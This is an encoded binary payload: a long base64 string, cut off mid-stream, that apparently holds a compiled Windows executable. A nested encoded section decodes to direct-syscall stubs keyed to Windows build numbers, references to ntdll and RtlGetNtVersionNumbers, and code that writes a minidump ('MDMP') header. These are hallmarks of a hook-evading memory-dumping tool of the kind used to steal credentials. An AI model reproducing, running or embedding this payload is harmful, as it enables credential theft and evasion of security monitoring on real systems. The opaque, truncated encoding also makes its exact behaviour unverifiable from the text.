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IrRHVCd0JBQUFDRDRUT0FBQUFnN2djQVFBQUF3K0V5QUFBQU9rWEFRQUFab0c0SUFFQUFMQWRENFNmQUFBQVpvRzRJQUVBQUxFZEQ0U1hBQUFBNmZRQUFBQm1nYmdnQVFBQUFDZ1BoSmdBQUFCbWdiZ2dBUUFBV2lrUGhKQUFBQUJtZ2JnZ0FRQUFPVGdQaElnQUFBQm1nYmdnQVFBQTF6b1BoSUFBQUFCbWdiZ2dBUUFBcXo5MGZHYUJ1Q0FCQUFEdVFuUjRab0c0SUFFQUFHTkZkSFJtZ2JnZ0FRQUF1a2QwY0dhQnVDQUJBQUM3UjNSc1pvRzRJQUVBQUdGS2RHaG1nYmdnQVFBQVlrcDBaT3RwdUQ0QUFBRHJZN2crQUFBQTYxeTRQd0FBQU90VnVFQUFBQURyVHJoQkFBQUE2MGU0UVFBQUFPdEF1RUVBQUFEck9iaEJBQUFBNnpLNFFRQUFBT3NydUVFQUFBRHJKTGhCQUFBQTZ4MjRRUUFBQU9zV3VFRUFBQURyRDdoQkFBQUE2d2k0UVFBQUFPc0J3MG1KeWc4RncyVklpd1FsWUFBQUFJTzRHQUVBQUFaMERvTzRHQUVBQUFwMFVPay9BUUFBZzdnY0FRQUFBWFFmZzdnY0FRQUFBZytFemdBQUFJTzRIQUVBQUFNUGhNZ0FBQURwRndFQUFHYUJ1Q0FCQUFDd0hRK0Vud0FBQUdhQnVDQUJBQUN4SFErRWx3QUFBT24wQUFBQVpvRzRJQUVBQUFBb0Q0U1lBQUFBWm9HNElBRUFBRm9wRDRTUUFBQUFab0c0SUFFQUFEazRENFNJQUFBQVpvRzRJQUVBQU5jNkQ0U0FBQUFBWm9HNElBRUFBS3MvZEh4bWdiZ2dBUUFBN2tKMGVHYUJ1Q0FCQUFCalJYUjBab0c0SUFFQUFMcEhkSEJtZ2JnZ0FRQUF1MGQwYkdhQnVDQUJBQUJoU25Sb1pvRzRJQUVBQUdKS2RHVHJhYmc1QUFBQTYyTzRPUUFBQU90Y3VEb0FBQURyVmJnN0FBQUE2MDY0UEFBQUFPdEh1RHdBQUFEclFMZzhBQUFBNnptNFBBQUFBT3N5dUR3QUFBRHJLN2c4QUFBQTZ5UzRQQUFBQU9zZHVEd0FBQURyRnJnOEFBQUE2dys0UEFBQUFPc0l1RHdBQUFEckFjTkppY29QQmNObFNJc0VKV0FBQUFDRHVCZ0JBQUFHZEE2RHVCZ0JBQUFLZEZEcFB3RUFBSU80SEFFQUFBRjBINE80SEFFQUFBSVBoTTRBQUFDRHVCd0JBQUFERDRUSUFBQUE2UmNCQUFCbWdiZ2dBUUFBc0IwUGhKOEFBQUJtZ2JnZ0FRQUFzUjBQaEpjQUFBRHA5QUFBQUdhQnVDQUJBQUFBS0ErRW1BQUFBR2FCdUNBQkFBQmFLUStFa0FBQUFHYUJ1Q0FCQUFBNU9BK0VpQUFBQUdhQnVDQUJBQURYT2crRWdBQUFBR2FCdUNBQkFBQ3JQM1I4Wm9HNElBRUFBTzVDZEhobWdiZ2dBUUFBWTBWMGRHYUJ1Q0FCQUFDNlIzUndab0c0SUFFQUFMdEhkR3htZ2JnZ0FRQUFZVXAwYUdhQnVDQUJBQUJpU25SazYybTRQd0FBQU90anVEOEFBQURyWExoQUFBQUE2MVc0UVFBQUFPdE91RUlBQUFEclI3aENBQUFBNjBDNFFnQUFBT3M1dUVJQUFBRHJNcmhDQUFBQTZ5dTRRZ0FBQU9za3VFSUFBQURySGJoQ0FBQUE2eGE0UWdBQUFPc1B1RUlBQUFEckNMaENBQUFBNndIRFNZbktEd1hEWlVpTEJDVmdBQUFBZzdnWUFRQUFCblFPZzdnWUFRQUFDblJRNlQ4QkFBQ0R1QndCQUFBQmRCK0R1QndCQUFBQ0Q0VE9BQUFBZzdnY0FRQUFBdytFeUFBQUFPa1hBUUFBWm9HNElBRUFBTEFkRDRTZkFBQUFab0c0SUFFQUFMRWRENFNYQUFBQTZmUUFBQUJtZ2JnZ0FRQUFBQ2dQaEpnQUFBQm1nYmdnQVFBQVdpa1BoSkFBQUFCbWdiZ2dBUUFBT1RnUGhJZ0FBQUJtZ2JnZ0FRQUExem9QaElBQUFBQm1nYmdnQVFBQXF6OTBmR2FCdUNBQkFBRHVRblI0Wm9HNElBRUFBR05GZEhSbWdiZ2dBUUFBdWtkMGNHYUJ1Q0FCQUFDN1IzUnNab0c0SUFFQUFHRktkR2htZ2JnZ0FRQUFZa3AwWk90cHVDTUFBQURyWTdnakFBQUE2MXk0SkFBQUFPdFZ1Q1VBQUFEclRyZ21BQUFBNjBlNEpnQUFBT3RBdUNZQUFBRHJPYmdtQUFBQTZ6SzRKZ0FBQU9zcnVDWUFBQURySkxnbUFBQUE2eDI0SmdBQUFPc1d1Q1lBQUFEckQ3Z21BQUFBNndpNEpnQUFBT3NCdzBtSnlnOEZ3MlZJaXdRbFlBQUFBSU80R0FFQUFBWjBEb080R0FFQUFBcDBVT2svQVFBQWc3Z2NBUUFBQVhRZmc3Z2NBUUFBQWcrRXpnQUFBSU80SEFFQUFBTVBoTWdBQUFEcEZ3RUFBR2FCdUNBQkFBQ3dIUStFbndBQUFHYUJ1Q0FCQUFDeEhRK0Vsd0FBQU9uMEFBQUFab0c0SUFFQUFBQW9ENFNZQUFBQVpvRzRJQUVBQUZvcEQ0U1FBQUFBWm9HNElBRUFBRGs0RDRTSUFBQUFab0c0SUFFQUFOYzZENFNBQUFBQVpvRzRJQUVBQUtzL2RIeG1nYmdnQVFBQTdrSjBlR2FCdUNBQkFBQmpSWFIwWm9HNElBRUFBTHBIZEhCbWdiZ2dBUUFBdTBkMGJHYUJ1Q0FCQUFCaFNuUm9ab0c0SUFFQUFHSktkR1RyYWJqNUFBQUE2Mk80K1FBQUFPdGN1QXNCQUFEclZiZ09BUUFBNjA2NEZBRUFBT3RIdUJjQkFBRHJRTGdaQVFBQTZ6bTRIUUVBQU9zeXVCOEJBQURySzdnaEFRQUE2eVM0SWdFQUFPc2R1Q01CQUFEckZyZ2pBUUFBNncrNEtBRUFBT3NJdUNnQkFBRHJBY05KaWNvUEJjTmxTSXNFSldBQUFBQ0R1QmdCQUFBR2RBNkR1QmdCQUFBS2RGRHBQd0VBQUlPNEhBRUFBQUYwSDRPNEhBRUFBQUlQaE00QUFBQ0R1QndCQUFBREQ0VElBQUFBNlJjQkFBQm1nYmdnQVFBQXNCMFBoSjhBQUFCbWdiZ2dBUUFBc1IwUGhKY0FBQURwOUFBQUFHYUJ1Q0FCQUFBQUtBK0VtQUFBQUdhQnVDQUJBQUJhS1ErRWtBQUFBR2FCdUNBQkFBQTVPQStFaUFBQUFHYUJ1Q0FCQUFEWE9nK0VnQUFBQUdhQnVDQUJBQUNyUDNSOFpvRzRJQUVBQU81Q2RIaG1nYmdnQVFBQVkwVjBkR2FCdUNBQkFBQzZSM1J3Wm9HNElBRUFBTHRIZEd4bWdiZ2dBUUFBWVVwMGFHYUJ1Q0FCQUFCaVNuUms2Mm00SGdBQUFPdGp1QjRBQUFEclhMZ2ZBQUFBNjFXNElBQUFBT3RPdUNFQUFBRHJSN2doQUFBQTYwQzRJUUFBQU9zNXVDRUFBQURyTXJnaEFBQUE2eXU0SVFBQUFPc2t1Q0VBQUFEckhiZ2hBQUFBNnhhNElRQUFBT3NQdUNFQUFBRHJDTGdoQUFBQTZ3SERTWW5LRHdYRFpVaUxCQ1ZnQUFBQWc3Z1lBUUFBQm5RT2c3Z1lBUUFBQ25SUTZUOEJBQUNEdUJ3QkFBQUJkQitEdUJ3QkFBQUNENFRPQUFBQWc3Z2NBUUFBQXcrRXlBQUFBT2tYQVFBQVpvRzRJQUVBQUxBZEQ0U2ZBQUFBWm9HNElBRUFBTEVkRDRTWEFBQUE2ZlFBQUFCbWdiZ2dBUUFBQUNnUGhKZ0FBQUJtZ2JnZ0FRQUFXaWtQaEpBQUFBQm1nYmdnQVFBQU9UZ1BoSWdBQUFCbWdiZ2dBUUFBMXpvUGhJQUFBQUJtZ2JnZ0FRQUFxejkwZkdhQnVDQUJBQUR1UW5SNFpvRzRJQUVBQUdORmRIUm1nYmdnQVFBQXVrZDBjR2FCdUNBQkFBQzdSM1JzWm9HNElBRUFBR0ZLZEdobWdiZ2dBUUFBWWtwMFpPdHB1QTBBQUFEclk3Z05BQUFBNjF5NERnQUFBT3RWdUE4QUFBRHJUcmdRQUFBQTYwZTRFQUFBQU90QXVCQUFBQURyT2JnUUFBQUE2eks0RUFBQUFPc3J1QkFBQUFEckpMZ1FBQUFBNngyNEVBQUFBT3NXdUJBQUFBRHJEN2dRQUFBQTZ3aTRFQUFBQU9zQncwbUp5ZzhGdzJWSWl3UWxZQUFBQUlPNEdBRUFBQVowRG9PNEdBRUFBQXAwVU9rL0FRQUFnN2djQVFBQUFYUWZnN2djQVFBQUFnK0V6Z0FBQUlPNEhBRUFBQU1QaE1nQUFBRHBGd0VBQUdhQnVDQUJBQUN3SFErRW53QUFBR2FCdUNBQkFBQ3hIUStFbHdBQUFPbjBBQUFBWm9HNElBRUFBQUFvRDRTWUFBQUFab0c0SUFFQUFGb3BENFNRQUFBQVpvRzRJQUVBQURrNEQ0U0lBQUFBWm9HNElBRUFBTmM2RDRTQUFBQUFab0c0SUFFQUFLcy9kSHhtZ2JnZ0FRQUE3a0owZUdhQnVDQUJBQUJqUlhSMFpvRzRJQUVBQUxwSGRIQm1nYmdnQVFBQXUwZDBiR2FCdUNBQkFBQmhTblJvWm9HNElBRUFBR0pLZEdUcmFiZ3pBQUFBNjJPNE13QUFBT3RjdURRQUFBRHJWYmcxQUFBQTYwNjROZ0FBQU90SHVEWUFBQURyUUxnMkFBQUE2em00TmdBQUFPc3l1RFlBQUFEcks3ZzJBQUFBNnlTNE5nQUFBT3NkdURZQUFBRHJGcmcyQUFBQTZ3KzROZ0FBQU9zSXVEWUFBQURyQWNOSmljb1BCY05sU0lzRUpXQUFBQUNEdUJnQkFBQUdkQTZEdUJnQkFBQUtkRkRwUHdFQUFJTzRIQUVBQUFGMEg0TzRIQUVBQUFJUGhNNEFBQUNEdUJ3QkFBQURENFRJQUFBQTZSY0JBQUJtZ2JnZ0FRQUFzQjBQaEo4QUFBQm1nYmdnQVFBQXNSMFBoSmNBQUFEcDlBQUFBR2FCdUNBQkFBQUFLQStFbUFBQUFHYUJ1Q0FCQUFCYUtRK0VrQUFBQUdhQnVDQUJBQUE1T0ErRWlBQUFBR2FCdUNBQkFBRFhPZytFZ0FBQUFHYUJ1Q0FCQUFDclAzUjhab0c0SUFFQUFPNUNkSGhtZ2JnZ0FRQUFZMFYwZEdhQnVDQUJBQUM2UjNSd1pvRzRJQUVBQUx0SGRHeG1nYmdnQVFBQVlVcDBhR2FCdUNBQkFBQmlTblJrNjJtNFBBQUFBT3RqdUR3QUFBRHJYTGc5QUFBQTYxVzRQZ0FBQU90T3VEOEFBQURyUjdnL0FBQUE2MEM0UHdBQUFPczV1RDhBQUFEck1yZy9BQUFBNnl1NFB3QUFBT3NrdUQ4QUFBRHJIYmcvQUFBQTZ4YTRQd0FBQU9zUHVEOEFBQURyQ0xnL0FBQUE2d0hEU1luS0R3WERaaTRQSDRRQUFBQUFBRUZYUVZaQlZVRlVWVmUvQUJBQUFGWk1pYzVUU0lIc0dBWUFBRW1MbVlBQUFBQk1pWVFrMkFFQUFJbVVKSmdCQUFCSWlZd2tvQUVBQUVqSGhDU1lBQUFBQUFBQUFNZUVKS0FBQUFBQUFBQUFTTWVFSkxBQkFBQUFBQUFBeDRRa3VBRUFBQUFBQUFCSXg0UWt3QUVBQUFBQUFBQkl4NFFreUFFQUFBQUFBQURIaENUUUFRQUFJZ2dBQUVqSGhDVG9BUUFBQUFBQUFFakhoQ1R3QVFBQUFBQUFBRWpIaENUNEFRQUFBQUFBQUVqSGhDUUFBZ0FBQUFBQUFNZUVKT0FCQUFBQUFBQUFRZitSaUFBQUFFRzRBQkFBQURIU1NJbkIvOU5JaWNOSWhjQjFOK25EQ2dBQVppNFBINFFBQUFBQUFFaUxycGdBQUFBQi8vK1dpQUFBQUVtSjJFR0orVEhTU0luQi85VklpY05JaGNBUGhKRUtBQUJGTWNsQmlmaElpZHE1QlFBQUFPai8rLy8vUFFRQUFNQjB2b1hBRDRWWUNnQUFpNHdrbUFFQUFFaUoyamxMVUErRlB3b0FBSXQ2QkVpTHJvQUFBQUNKdkNTNEFRQUEvNWFJQUFBQVRJMEVmekhTU0luQlNjSGdBdi9WU0ltRUpMQUJBQUJJaGNBUGhBNEtBQUJJaTc2UUFBQUFTSTJzSkJBQ0FBQk1qYXdrOEFBQUFQK1dpQUFBQUVtSjJESFNUSTJrSkxBQUFBQklpY0c3QVFBQUFQL1hTSTJNSkpBQkFBQklpZkpJamJ3a2hBQUFBT2dBRlFBQWk1UWs0QUVBQUVVeHlVVXh3RWk0VFVSTlVKT25BQUJJaTR3azJBRUFBTWVFSk9BQUFBQUFBQUFBU0ltRUpOQUFBQUJJdUFRQUFBQWdBQUFBU0ltRUpOZ0FBQUJJeDRRazZBQUFBQ0lJQUFEL2xxQUFBQUJJaVhRa0lFbUo2VWlMakNUWUFRQUFRYmdnQUFBQVNJMlVKTkFBQUFEb1p3c0FBSXVFSk9BQkFBQk1pZW5IaENTa0FBQUFCd0FBQUlQQVVJbUVKT0FCQUFDSmhDU3NBQUFBLzVhd0FBQUF1bXdBQUFCSXVHNTBaR3hzTG1Sc3VYSnpBQUJJaVlRa2pBQUFBRWk0VW5Sc1IyVjBUblJtaVpRa2xBQUFBRWk2Vm1WeWMybHZiazVJaVlRa3NBQUFBRWlOaENTTUFBQUFTSW1VSkxnQUFBQm1pWXdreEFBQUFFaUp3Y2VFSk1BQUFBQjFiV0pseG9Ra3hnQUFBQUJJaVVRa1VQK1dxQUFBQUV5SjRrbUp4a2lKd2YrVzBBQUFBRWlKK2tpSmZDUm9USTJFSklnQUFBQk1pVVFrTUVpTmpDU0FBQUFBLzlCTWlmRkZNZmFCcENTSUFBQUEvLzhBQVArV3VBQUFBQSszaENUd0FBQUF4b1FrSndFQUFBSEhoQ1EwQVFBQUFnQUFBR2FKaENRZ0FRQUFpNFFrSEFFQUFNZUVKRHdCQUFBUUFBQUFpWVFrSWdFQUFJdUVKQkFCQUFCSXg0UWtRQUVBQUFBQUFBQ0loQ1FtQVFBQWk0UWtnQUFBQUVqSGhDUklBUUFBQUFBQUFJbUVKQ2dCQUFDTGhDU0VBQUFBaVlRa0xBRUFBSXVFSklnQUFBQ0poQ1F3QVFBQWk0UWs0QUVBQUlQQU9JbUVKRGdCQUFCRWlmSC9sc0FBQUFDRndIUVJTSW5ZUklueFNOUGdTQW1FSkVBQkFBQkJnOFlCUVlQK1FIWFlpNVFrNEFFQUFFVXh5VVV4d0VpSjcwaUxqQ1RZQVFBQVNJMWNKSGovbHFBQUFBQklpWFFrSUVtSjZVaU5oQ1FnQVFBQVNJdU1KTmdCQUFCSWljSkJ1RGdBQUFCSWlVUWtRT2hxQ1FBQU1jQzVRQUFBQUlPRUpPQUJBQUE0ODBpclNJbnAvNWJJQUFBQVNJbDBKQ0JJalZRa2ZFaUxqQ1RZQVFBQUFjQkppZGxCdUFRQUFBQ0pSQ1I4NkNrSkFBQklpWFFrSUVtSjJVaUo2a1NMUkNSOFNJdU1KTmdCQUFEb0RBa0FBSXRFSkh4Rk1jbEZNY0FEaENUZ0FRQUFpNVFrM0FBQUFNZUVKS2dBQUFBNEFBQUFnOEFFU0l1TUpOZ0JBQUNKaENUZ0FRQUEvNWFnQUFBQVNJbDBKQ0JKaWVsSWpZUWtwQUFBQUVpTGpDVFlBUUFBU0luQ1FiZ01BQUFBU0lsRUpFam9wZ2dBQUl1RUpPQUJBQUNMakNUSUFRQUF4NFFrcEFBQUFBUUFBQUNKUkNSZ2lZUWtyQUFBQUlYSkQ0UlVDQUFBZytrQlNJdVVKTUFCQUFCSWFja29BZ0FBU0luUVRJMkVDaWdDQUFBeHlROGZBSU00QVlQUkFFZ0ZLQUlBQUV3NXdIWHZhOGxzUlRIMlRJbGtKRmhNamJ3a0ZBSUFBTWVFSklRQUFBQUFBQUFBUlluMGpVRUVpMHdrWUluSGlVUWtaSW5JQWZoSWpid2tPQUVBQUltRUpPQUJBQUNOUVFTSlJDUTg2dzBQSDBRQUFFaUxsQ1RBQVFBQVJJbmpTR25iS0FJQUFFaU5EQnFMQVlYQUQ0VWhBZ0FBU0lQQkhQK1d5QUFBQUVpTGxDVEFBUUFBVEluNWpVUUFBa2dCMm9tRUpCQUNBQUJJZzhJYy81WUFBUUFBaTVRazRBRUFBRVV4eVVVeHdFZ0RuQ1RBQVFBQVNJdU1KTmdCQUFCSWkwTUlTSW1FSkNBQkFBQ0xReENKaENRb0FRQUFpME1ZaVlRa0xBRUFBSXRERkl1Y0pCQUNBQUNKbENRMEFRQUFpWVFrTUFFQUFJMUQvb1BEQkltRUpCQUNBQUQvbHFBQUFBQkJpZGhOaWVsSWllcElpWFFrSUVpTGpDVFlBUUFBNkNnSEFBQUJuQ1RnQVFBQVRJbjVTSXRVSkRESGhDU3dBQUFBWEFBQUFFakhCd0FBQUFCSXgwY0lBQUFBQUVqSFJ4QUFBQUFBU01kSEdBQUFBQUJJeDBjZ0FBQUFBRWpIUnlnQUFBQUF4MGN3QUFBQUFQK1c2QUFBQUluRGhjQVBoSklBQUFCTWk3YUFBQUFBLzVhSUFBQUFRWW5ZTWRKSWljRkIvOVpKaWNaSWhjQjBjb3VVSklnQUFBQkppY0ZCaWRoTWlmbi9sdkFBQUFDRndIUkJUSXRNSkZCSWkxUWtXRTJKNkV5SjhmK1crQUFBQUlYQWRDZUR2Q1NNQUFBQU5FRzROQUFBQUVpTGxDVHdBQUFBU0luNVJBOUdoQ1NNQUFBQVJZbkEveFpJaTU2UUFBQUEvNWFJQUFBQVRZbndNZEpJaWNILzA0dUVKSVFBQUFDTFRDUThSVEhKUlRIQVNNZUVKR3dCQUFBQUFBQUFTTWVFSkhRQkFBQUFBQUFBalZBQmE4QnNpWlFraEFBQUFFakhoQ1I4QVFBQUFBQUFBRWpIaENTRUFRQUFBQUFBQUkwVUNFaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrUUUySjZVaUxqQ1RZQVFBQVFiaHNBQUFBNkxjRkFBQkJnOFFCUkR1a0pNZ0JBQUFQZ3EzOS8vOU1pMlFrV0l0VUpHQkZNY2xGTWNBeDIwaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrYUUySjZVaUxqQ1RZQVFBQVFiZ0VBQUFBNkdZRkFBQ0xSQ1JrUlRISlJUSEFTSXVNSk5nQkFBQ0poQ1NvQUFBQWk0UWszQUFBQUkxUURQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9nZEJRQUE2eGNQSHdCTUFmTVBndk1BQUFCSWk1d2tFQUlBQUV3QjgwaUxqQ1NnQVFBQVFia3dBQUFBU1lub1NJbmEvNWJZQUFBQVNJWEFENFRGQUFBQWdid2tNQUlBQUFBUUFBQk1pN1FrS0FJQUFIVzBUSXU4SlBnQkFBQklpN3drRUFJQUFFMkYvdytFT2dRQUFJdUVKQUFDQUFDTGxDUUVBZ0FBT2RBUGdod0VBQUJNaTVhWUFBQUFBZEtKbENRRUFnQUFpVlFrUEV5SlZDUXcvNWFJQUFBQVJJdE1KRHhOaWZneDBreUxWQ1F3U0luQlNjSGhCRUgvMGttSngwaUpoQ1Q0QVFBQVRZWC9ENFFTQkFBQWk0UWtBQUlBQUVpTGpDUW9BZ0FBaWNLRHdBRkl3ZUlFU1FIWFRZbDNDRW1Kemt3QjgwbUpQNG1FSkFBQ0FBQVBndzMvLy8rTGhDUUFBZ0FBaTVRazRBRUFBRVV4eVVVeHdNZUVKS1FBQUFBSkFBQUFqVWdCU0ltRUpQQUFBQUNKejRtVUpLd0FBQUJJaTR3azJBRUFBTUhuQkkwRU9vbDhKR0JJaVlRaytBQUFBUCtXb0FBQUFFaUpkQ1FnVElucVNZbnBTSXVNSk5nQkFBQkJ1QWdBQUFCRk1lM29xQU1BQUl1RUpPQUJBQUJGTWNsRk1jQklpNHdrMkFFQUFJMVFDSW1VSk9BQkFBRC9scUFBQUFCSWlYUWtJRW1KNlVpTGpDVFlBUUFBU0kyVUpQZ0FBQUJCdUFnQUFBRG9ZQU1BQUl1RUpPQUJBQUNOZUFpTGhDUUFBZ0FBaVh3a1BFR0p4a0hCNWdSQkFmNUVpYlFrNEFFQUFJWEFENFNnQVFBQVJJbHNKREJJaTN3a1VBOGZnQUFBQUFCRWkzd2tNRVV4eVVVeHdFVXg3VWlMaENUNEFRQUFTSXVNSk5nQkFBQkp3ZWNFVEFINFNJc1FTSXRBQ0VpSmx